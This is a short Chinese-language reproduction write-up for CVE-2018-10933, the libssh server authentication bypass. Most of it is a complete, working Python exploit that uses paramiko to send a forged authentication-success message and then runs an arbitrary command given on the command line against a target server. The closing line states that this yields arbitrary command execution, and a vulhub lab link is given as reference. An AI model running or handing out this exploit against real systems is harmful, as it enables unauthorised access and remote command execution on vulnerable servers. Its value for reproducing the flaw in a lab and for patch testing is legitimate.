# （CVE-2018-10933）Libssh 服务端权限认证绕过漏洞

## 一、漏洞简介

## 二、漏洞影响

libssh的server-side state machine 0.7.6之前版本和0.8.4

## 三、复现过程

```
CVE-2018-10933.py

```

```python
#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging

logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048

def execute(hostname, port, command):
    sock = socket.socket()
    try:
        sock.connect((hostname, int(port)))

        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()

        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)

        client = transport.open_session(timeout=10)
        client.exec_command(command)

        # stdin = client.makefile("wb", bufsize)
        stdout = client.makefile("rb", bufsize)
        stderr = client.makefile_stderr("rb", bufsize)

        output = stdout.read()
        error = stderr.read()

        stdout.close()
        stderr.close()

        return (output+error).decode()
    except paramiko.SSHException as e:
        logging.exception(e)
        logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
    except socket.error:
        logging.debug("Unable to connect.")

    return None

if __name__ == '__main__':
    print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))

```

使用python3执行，即可在目标服务器上执行任意命令：

![2.png](images/2020_06_13/8079aabb68634ecba5e199608861cf09.png)

## 参考链接

> https://vulhub.org/#/environments/libssh/CVE-2018-10933/